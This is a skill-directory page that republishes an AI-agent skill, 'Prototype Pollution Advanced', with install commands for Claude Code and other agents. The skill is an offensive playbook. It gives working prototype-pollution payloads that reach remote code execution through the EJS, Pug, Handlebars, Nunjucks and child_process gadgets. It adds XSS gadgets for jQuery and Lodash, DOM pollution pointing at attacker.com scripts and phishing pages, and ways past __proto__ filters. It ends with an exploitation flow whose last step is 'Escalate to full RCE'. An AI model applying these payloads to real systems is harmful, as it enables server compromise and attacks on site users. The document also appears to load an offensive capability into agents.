Agent skill

Prototype Pollution Advanced

by yaklang in yaklang/hack-skills

Advanced prototype pollution playbook — server-side RCE, client-side gadgets, filter bypasses, and detection techniques.

MITAuto-check passedBackend & APIs

Install Prototype Pollution Advanced

skills CLI
$ npx skills add yaklang/hack-skills --skill prototype-pollution-advanced -a claude-code

Project install by default; add -g for ~/.claude/skills/.

GitHub CLI
$ gh skill install yaklang/hack-skills prototype-pollution-advanced --agent claude-code

Project scope by default; add --scope user for a personal install. Needs GitHub CLI 2.90.0 or later (public preview).

Manual copy
$ git clone --depth 1 https://github.com/yaklang/hack-skills.git skills-src && mkdir -p .claude/skills && cp -r skills-src/skills/prototype-pollution-advanced .claude/skills/prototype-pollution-advanced && rm -rf skills-src

Use ~/.claude/skills/ instead of .claude/skills for a personal install. The folder must contain SKILL.md.

Claude Code skills documentation · loads skills from .claude/skills/

Facts

Skill name
prototype-pollution-advanced
GitHub stars
2.4k
Token cost
~2.8k tokens
SKILL.md length
395 words
Files
2
Skills in repo
26
Repo updated
First seen
Licence
MIT

At a glance

Advanced prototype pollution playbook — server-side RCE, client-side gadgets, filter bypasses, and detection techniques.

  • Works in 8 steps: RELATED ROUTING → SERVER-SIDE PP → RCE → CLIENT-SIDE PROTOTYPE POLLUTION → …
  • Youve confirmed pollution and need to escalate to code execution
  • SKILL.md covers 0. RELATED ROUTING, 1. SERVER-SIDE PP → RCE, 2. CLIENT-SIDE PROTOTYPE… and 3. DETECTION TECHNIQUES, plus 4 more sections
  • Instructions only: no scripts, shell commands, URLs or credentials in SKILL.md

What it does

Prototype Pollution Advanced is an agent skill from yaklang/hack-skills. Advanced prototype pollution playbook — server-side RCE, client-side gadgets, filter bypasses, and detection techniques. Companion to ../prototype-pollution/ for basics. Use when you've confirmed pollution and need to escalate to code execution or find framework-specific gadgets.

Its SKILL.md is about 2.8k tokens, which your agent loads only when the skill is triggered. The skill folder holds 1 other file (for example `KNOWN_GADGETS.md`).

It sits in Backend & APIs, covering Backend development. The repository describes itself as: Helping AI Agent become an awesome practical hacker! The licence is MIT.

When your agent uses it

  • Youve confirmed pollution and need to escalate to code execution
  • Find framework-specific gadgets

Example prompts

  • “/prototype-pollution-advanced”

Requirements

  • Node.js

Workflow steps

8 steps, taken from the step headings in SKILL.md.

  1. RELATED ROUTING
  2. SERVER-SIDE PP → RCE
  3. CLIENT-SIDE PROTOTYPE POLLUTION
  4. DETECTION TECHNIQUES
  5. BYPASS proto FILTERS
  6. EXPLOITATION FLOW
  7. DECISION TREE
  8. QUICK REFERENCE — KEY PAYLOADS

What it can do on your machine

Read from SKILL.md and the folder at commit 6fbf0bc. It shows what the files ask for, not the result of running them.

  • Tool permissions

    Pre-approves nothing: there is no allowed-tools line, so your agent's usual permission prompts apply.

    From allowed-tools in the SKILL.md frontmatter.

  • Runs code

    No scripts in the folder and no shell commands in SKILL.md (its code samples are json and javascript).

    From the folder's file list and the shell code blocks in SKILL.md.

  • Network

    No URLs in SKILL.md.

    From URLs in SKILL.md, links to its own repository left out.

  • Credentials

    Names no API keys, tokens, secrets or passwords.

    From names ending in _API_KEY, _TOKEN, _SECRET, _KEY or _PASSWORD in SKILL.md.

Context cost

Prototype Pollution Advanced loads about 2.8k tokens when it runs. Until then it costs about 77 tokens; SKILL.md has 395 words of instructions outside code blocks.

Always · name and description, kept in context so the agent knows when to use it
~77
When it runs · the whole SKILL.md, loaded when a task matches
~2.8k

Estimates: characters ÷ 4, the usual rule of thumb; real counts depend on the model's tokenizer. Scripts and assets cost tokens only if the agent reads them.

Safety

Auto-check passed

The automated check found no risky patterns in SKILL.md.

Automated static check — not a guarantee. Review scripts before installing. It scans the text of SKILL.md for risky patterns (piping downloads into a shell, reading credential files, hidden Unicode, destructive commands); files beside SKILL.md are not scanned.

SKILL.md

The full file from yaklang/hack-skills at commit 6fbf0bc, republished under its MIT licence (© yaklang). 395 words, ~2,775 tokens.

Download SKILL.mdSave it as .claude/skills/prototype-pollution-advanced/SKILL.md (or your agent's skills folder). This skill also uses 1 other file; get the full folder from GitHub.
name
prototype-pollution-advanced
description
Advanced prototype pollution playbook — server-side RCE, client-side gadgets, filter bypasses, and detection techniques. Companion to ../prototype-pollution/ for basics. Use when you've confirmed pollution and need to escalate to code execution or find framework-specific gadgets.

SKILL: Prototype Pollution Advanced — RCE & Gadget Exploitation

AI LOAD INSTRUCTION: Advanced prototype pollution escalation. Covers server-side RCE via template engines (EJS, Pug, Handlebars), Node.js child_process gadgets, client-side script gadgets, filter bypass patterns, and systematic detection. Load ../prototype-pollution/SKILL.md first for fundamentals (merge sinks, __proto__ vs constructor.prototype, basic probes).

Advanced Reference

Load KNOWN_GADGETS.md for the comprehensive gadget table by framework/library with polluted properties, trigger conditions, impact, and affected versions.


1. SERVER-SIDE PP → RCE

1.1 Node.js child_process.spawn — Shell/ENV Injection

When child_process.spawn or child_process.fork is called without explicit env/shell options, it inherits from Object.prototype:

javascript
// Vulnerable pattern (very common):
const { execSync } = require('child_process');
execSync('ls');  // inherits shell, env from prototype

// Pollution for RCE:
Object.prototype.shell = '/proc/self/exe';
Object.prototype.argv0 = 'console.log(require("child_process").execSync("id").toString())//';
Object.prototype.NODE_OPTIONS = '--require /proc/self/cmdline';
// Next child_process call executes attacker code

Alternative ENV pollution:

json
{"__proto__": {"shell": "node", "NODE_OPTIONS": "--require /proc/self/cmdline"}}
1.2 EJS (Embedded JavaScript Templates)

EJS render() reads opts from object properties. Polluting outputFunctionName injects code into the compiled template function:

json
// Pollution payload:
{"__proto__": {"outputFunctionName": "x;process.mainModule.require('child_process').execSync('id');s"}}

// When EJS renders ANY template after pollution:
// Compiled function includes: var x;process.mainModule.require('child_process').execSync('id');s = "";
// → RCE

Detection: any EJS res.render() call after pollution triggers it.

1.3 Pug (formerly Jade)

Pug's compiler reads block from object properties:

json
{"__proto__": {"block": {"type": "Text", "val": "x]);process.mainModule.require('child_process').execSync('id');//"}}}

Alternative via self option:

json
{"__proto__": {"self": true, "line": "x]});process.mainModule.require('child_process').execSync('id');//"}}
1.4 Handlebars

Handlebars template compilation checks type and program on template AST nodes:

json
{"__proto__": {"type": "Program", "body": [{"type": "MustacheStatement", "path": {"type": "PathExpression", "original": "constructor.constructor('return process.mainModule.require(`child_process`).execSync(`id`)')()","parts": ["constructor","constructor"]}, "params": [], "hash": null}]}}

Simpler via allowProtoMethodsByDefault:

json
{"__proto__": {"allowProtoMethodsByDefault": true, "allowProtoPropertiesByDefault": true}}
// Then use {{#with this as |obj|}}{{obj.constructor.constructor "return process.mainModule.require('child_process').execSync('id')"}}{{/with}}
1.5 Nunjucks
json
{"__proto__": {"type": "Code", "value": "global.process.mainModule.require('child_process').execSync('id')"}}
1.6 Express res.render (Generic)

When Express calls res.render(), options merge with app.locals and res.locals. Polluted prototype properties appear as template variables:

json
{"__proto__": {"view options": {"outputFunctionName": "x;process.mainModule.require('child_process').execSync('id');s"}}}

2. CLIENT-SIDE PROTOTYPE POLLUTION

2.1 jQuery Gadgets

$.extend(true, {}, userInput) performs deep merge — classic PP sink.

After pollution, jQuery's HTML methods use polluted properties:

javascript
// Pollution:
Object.prototype.innerHTML = '<img src=x onerror=alert(1)>';

// Trigger: any jQuery DOM manipulation that reads innerHTML from prototype
$('<div>').appendTo('body');  // may use polluted property
2.2 Lodash Gadgets
javascript
// Vulnerable functions (deep merge):
_.merge({}, userInput)
_.defaultsDeep({}, userInput)
_.set(obj, path, value)  // if path is attacker-controlled

// template() gadget:
Object.prototype.sourceURL = '\u000ajavascript:alert(1)//';
_.template('hello')();  // sourceURL injected into Function constructor
Show full SKILL.md (161 more words)Show less
2.3 Script Gadgets in Frameworks

"Script gadgets" are framework code paths that read from Object.prototype and perform dangerous operations:

FrameworkGadget PatternPolluted PropertyImpact
jQuery$.html(), element creationinnerHTML, srcXSS
Angular.js$interpolate__defineGetter__XSS
Vue.jsTemplate compilationtemplate, renderXSS
Ember.jsComponent renderingVarious view propertiesXSS
Backbone.js_.templatesourceURLXSS
2.4 DOM Property Pollution
javascript
Object.prototype.src = 'https://attacker.com/evil.js';
Object.prototype.href = 'javascript:alert(1)';
Object.prototype.action = 'https://attacker.com/phish';
// Any dynamically created element may inherit these

3. DETECTION TECHNIQUES

3.1 Black-Box Server-Side Detection
Step 1: Inject and check
  POST /api/endpoint
  {"__proto__":{"polluted":"yes"}}
  
  Then: GET /api/anything
  Check if response contains "polluted" or behavior changes

Step 2: Error-based detection
  {"__proto__":{"toString":1}}
  → If server crashes or returns 500, toString was overwritten
  
  {"__proto__":{"valueOf":1}}
  → Same crash-based detection

Step 3: Response differential
  {"__proto__":{"status":555}}
  → Check if HTTP status code changes to 555
  
  {"__proto__":{"content-type":"text/plain"}}
  → Check if Content-Type header changes
3.2 Black-Box Client-Side Detection
javascript
// In browser console after interacting with the app:
Object.prototype.testPollution
// If returns a value → something polluted the prototype

// Automated: override defineProperty to detect writes
Object.defineProperty(Object.prototype, '__proto__', {
    set: function(v) { console.trace('PP detected!', v); }
});
3.3 Automated Tools
ToolTypePurpose
PPScanBurp ExtensionScans for server-side PP
server-side-prototype-pollutionBurp Extension (Gareth Heyes)Advanced server-side PP detection with multiple techniques
ppfuzzCLIFuzz for client-side PP via URL fragment/query
ppmapCLIMap client-side PP to known gadgets

4. BYPASS __proto__ FILTERS

4.1 constructor.prototype Path
json
// Instead of:
{"__proto__": {"polluted": "yes"}}

// Use:
{"constructor": {"prototype": {"polluted": "yes"}}}
4.2 Bracket Notation Variants
?constructor[prototype][polluted]=yes
?__proto__[polluted]=yes
?__pro__proto__to__[polluted]=yes   (if filter strips __proto__ once)
4.3 JSON Key Variations
json
{"__proto__": {"a": 1}}
{"constructor": {"prototype": {"a": 1}}}
{"__proto__\u0000": {"a": 1}}
4.4 Key Distinction: Shallow vs Deep

Object.assign does NOT pollute prototype (shallow copy, safe). Only recursive/deep merge functions are vulnerable. Always verify the merge depth.


5. EXPLOITATION FLOW

1. Find merge sink (../prototype-pollution/SKILL.md Section 0)
   └── JSON body parsed and deep-merged into server object

2. Confirm pollution:
   └── {"__proto__":{"testxyz":"1"}} → check if testxyz appears globally

3. Identify technology stack:
   ├── Express + EJS → outputFunctionName gadget (Section 1.2)
   ├── Express + Pug → block gadget (Section 1.3)
   ├── Express + Handlebars → type/program gadget (Section 1.4)
   ├── Any Node.js with child_process → shell/NODE_OPTIONS (Section 1.1)
   ├── Client-side jQuery → DOM gadgets (Section 2.1)
   ├── Client-side Lodash → template/sourceURL (Section 2.2)
   └── Unknown → try KNOWN_GADGETS.md systematically

4. Craft RCE/XSS payload matching gadget

5. Verify with safe payload first (sleep / DNS callback)

6. Escalate to full RCE

6. DECISION TREE

Confirmed prototype pollution?
│
├── Server-side or client-side?
│   │
│   ├── SERVER-SIDE
│   │   ├── Template engine in use?
│   │   │   ├── EJS → __proto__.outputFunctionName (Section 1.2)
│   │   │   ├── Pug → __proto__.block (Section 1.3)
│   │   │   ├── Handlebars → __proto__.type (Section 1.4)
│   │   │   ├── Nunjucks → __proto__.type (Section 1.5)
│   │   │   └── Unknown → try each gadget from KNOWN_GADGETS.md
│   │   │
│   │   ├── child_process used anywhere?
│   │   │   ├── YES → __proto__.shell + NODE_OPTIONS (Section 1.1)
│   │   │   └── MAYBE → inject and trigger error to reveal stack
│   │   │
│   │   └── No known gadget?
│   │       ├── Try status code pollution: __proto__.status = 555
│   │       ├── Try header pollution: __proto__.content-type
│   │       └── Check KNOWN_GADGETS.md for framework match
│   │
│   └── CLIENT-SIDE
│       ├── jQuery loaded?
│       │   ├── YES → $.extend deep merge + DOM gadgets (Section 2.1)
│       │   └── Check ppmap for automated gadget detection
│       │
│       ├── Lodash loaded?
│       │   ├── YES → _.template sourceURL gadget (Section 2.2)
│       │   └── _.merge as both sink AND gadget
│       │
│       └── Framework (Angular/Vue/Ember)?
│           └── Script gadget lookup (Section 2.3)
│
├── __proto__ keyword filtered?
│   ├── Try constructor.prototype (Section 4.1)
│   ├── Try bracket notation (Section 4.2)
│   └── Try JSON key variations (Section 4.3)
│
└── Not confirmed yet?
    └── Go back to ../prototype-pollution/SKILL.md for detection

7. QUICK REFERENCE — KEY PAYLOADS

json
// EJS RCE
{"__proto__":{"outputFunctionName":"x;process.mainModule.require('child_process').execSync('id');s"}}

// Pug RCE
{"__proto__":{"block":{"type":"Text","val":"x]);process.mainModule.require('child_process').execSync('id');//"}}}

// child_process RCE (Node.js)
{"__proto__":{"shell":"node","NODE_OPTIONS":"--require /proc/self/cmdline"}}

// Lodash template XSS
{"__proto__":{"sourceURL":"\u000ajavascript:alert(1)//"}}

// Filter bypass (constructor path)
{"constructor":{"prototype":{"outputFunctionName":"x;process.mainModule.require('child_process').execSync('id');s"}}}

// Safe detection probe
{"__proto__":{"pptest123":"polluted"}}

© yaklang, MIT. Rendered from Markdown: HTML in the file is shown as text, images as links, and headings moved down two levels. Raw file

Files

SKILL.md and 1 other file in skills/prototype-pollution-advanced of yaklang/hack-skills.

  • SKILL.md
  • KNOWN_GADGETS.md

Open the folder on GitHubat commit 6fbf0bc

Compare with similar skills

Prototype Pollution Advanced next to the 5 skills that share the most tags, products or categories with it. Stars are the repository's; “used in” counts other GitHub owners with a copy.

Prototype Pollution Advanced compared with similar skills
SkillStarsUsed inTokensAuto-checkLicenceRepo updated
Prototype Pollution Advanced this skillyaklang/hack-skills2.4k—~2.8kAutomated safety check: PassMIT
Django Access Reviewgetsentry/skills1k3 repos~2.6kAutomated safety check: NotesApache-2.0
Django Securityaffaan-m/ECC275k5 repos~4kAutomated safety check: NotesMIT
Django Securityaffaan-m/ECC275k3 repos~3.7kAutomated safety check: NotesMIT
Springboot Securityaffaan-m/ECC275k3 repos~1.6kAutomated safety check: PassMIT
Django Securityaffaan-m/ECC275k1 repos~4.3kAutomated safety check: NotesMIT

Similar skills

  • Django Access Review

    getsentry/skills

    Official

    Django access control and IDOR security review. An agent skill from getsentry/skills.

    1k GitHub starsUsed in 3 repos~2.6k tokens
    Backend & APIsAuto-check: notes
  • Django Security

    affaan-m/ECC

    Django security best practices, authentication, authorization, CSRF protection, SQL injection prevention, XSS prevention, and secure deployment configurations.

    275k GitHub starsUsed in 5 repos~4k tokens
    Backend & APIsAuto-check: notes
  • Django Security

    affaan-m/ECC

    Django 安全最佳实践、认证、授权、CSRF 防护、SQL 注入预防、XSS 预防和安全部署配置. An agent skill from affaan-m/ECC.

    275k GitHub starsUsed in 3 repos~3.7k tokens
    Backend & APIsAuto-check: notes
  • Java Spring Boot 服务中认证/授权、验证、CSRF、密钥、标头、速率限制和依赖安全性的 Spring Security 最佳实践。

    275k GitHub starsUsed in 3 repos~1.6k tokens
    Backend & APIsAuto-check passed
  • Django Security

    affaan-m/ECC

    Django security best practices, authentication, authorization, CSRF protection, SQL injection prevention, XSS prevention, and secure deployment configurations.

    275k GitHub starsUsed in 1 repo~4.3k tokens
    Backend & APIsAuto-check: notes
  • Google Tag Manager

    VKirill/claude-lane-stack

    [RU: gtm, тег менеджер, google tag manager, контейнер, теги, триггеры, переменные, публикация версии, откат] GTM API v2 full read + write — Account/Container/Workspace hierarchy…

    122 GitHub stars~3.1k tokensUpdated yesterday
    Backend & APIsAuto-check passed

More from yaklang/hack-skills

All 26 skills in this repo
  • Anti Debugging Techniques

    yaklang/hack-skills

    Anti-debugging detection and bypass playbook. An agent skill from yaklang/hack-skills.

    2.4k GitHub stars~3.4k tokensUpdated 24 days ago
    Auto-check passed
  • API Auth And JWT Abuse

    yaklang/hack-skills

    API authentication and JWT abuse playbook. An agent skill from yaklang/hack-skills.

    2.4k GitHub stars~567 tokensUpdated 24 days ago
    Auto-check passed
  • API Authorization And Bola

    yaklang/hack-skills

    API authorization and BOLA testing playbook. An agent skill from yaklang/hack-skills.

    2.4k GitHub stars~449 tokensUpdated 24 days ago
    Auto-check passed
  • API Recon And Docs

    yaklang/hack-skills

    API reconnaissance and documentation review playbook. An agent skill from yaklang/hack-skills.

    2.4k GitHub stars~456 tokensUpdated 24 days ago
    Auto-check passed
  • Attack Surface Mapping

    yaklang/hack-skills

    Draw a testable attack surface from one authorized target URL or one application.

    2.4k GitHub stars~2.6k tokensUpdated 24 days ago
    Auto-check passed
  • Classical Cipher Analysis

    yaklang/hack-skills

    Classical cipher analysis playbook. An agent skill from yaklang/hack-skills.

    2.4k GitHub stars~4.8k tokensUpdated 24 days ago
    Auto-check passed

Questions about Prototype Pollution Advanced

What does Prototype Pollution Advanced do?

Advanced prototype pollution playbook — server-side RCE, client-side gadgets, filter bypasses, and detection techniques. Prototype Pollution Advanced is an agent skill from yaklang/hack-skills. Advanced prototype pollution playbook — server-side RCE, client-side gadgets, filter bypasses, and detection techniques.

When should I use Prototype Pollution Advanced?

Prototype Pollution Advanced fits situations like: youve confirmed pollution and need to escalate to code execution; find framework-specific gadgets.

How do I install Prototype Pollution Advanced in Claude Code?

Run `npx skills add yaklang/hack-skills --skill prototype-pollution-advanced -a claude-code`. Or copy the skill folder (skills/prototype-pollution-advanced in yaklang/hack-skills) into .claude/skills/prototype-pollution-advanced in your project. Claude Code loads it when a task matches its description.

How do I install Prototype Pollution Advanced in Codex?

Run `npx skills add yaklang/hack-skills --skill prototype-pollution-advanced -a codex`. Or copy the skill folder (skills/prototype-pollution-advanced in yaklang/hack-skills) into .agents/skills/prototype-pollution-advanced in your project. Codex loads it when a task matches its description.

Can I use Prototype Pollution Advanced in Cursor, Gemini CLI or GitHub Copilot?

Cursor, Gemini CLI, GitHub Copilot and OpenCode also load SKILL.md folders. With the skills CLI, run `npx skills add yaklang/hack-skills --skill prototype-pollution-advanced -a cursor` (or -a gemini-cli, github-copilot or opencode for the others). To copy it by hand, put the folder in .cursor/skills/prototype-pollution-advanced, .gemini/skills/prototype-pollution-advanced, .github/skills/prototype-pollution-advanced and .opencode/skills/prototype-pollution-advanced in your project.

What does Prototype Pollution Advanced need to run?

SKILL.md names no scripts, command-line tools or credentials: Prototype Pollution Advanced is instructions for the agent only. Our summary lists: Node.js.

Does Prototype Pollution Advanced access the network?

SKILL.md contains no URLs. Any network use would come from the scripts or tools the agent runs. This is read from the text; nothing was executed.

Is Prototype Pollution Advanced safe to install?

Our automated static check of SKILL.md found no risky patterns, such as piping downloads into a shell, reading credential files or hidden Unicode. It is not a guarantee. Review the folder before installing.

What licence does Prototype Pollution Advanced use?

Prototype Pollution Advanced is published under the MIT licence (the repository's licence). It allows redistribution, so the full SKILL.md is shown on this page.

How many tokens does Prototype Pollution Advanced use?

About 2.8k tokens (SKILL.md is roughly 11k characters). Agents keep only the skill's name and description in context until a task matches; then they load SKILL.md in full.

What are the alternatives to Prototype Pollution Advanced?

Skills that share tags, products or a category with Prototype Pollution Advanced: Django Access Review (getsentry/skills, 1k stars), Django Security (affaan-m/ECC, 275k stars), Django Security (affaan-m/ECC, 275k stars) and Springboot Security (affaan-m/ECC, 275k stars). The comparison table on this page puts their stars, adoption, token cost, safety result and licence side by side.

Who maintains Prototype Pollution Advanced?

yaklang (a GitHub organization) maintains it in yaklang/hack-skills, which has 2,394 GitHub stars. The repository holds 26 skills in this directory. The repository was last updated on September 13, 2026.

Source: yaklang/hack-skills on GitHub. Facts on this page come from the repository at the commit we read; the author's words are quoted as theirs.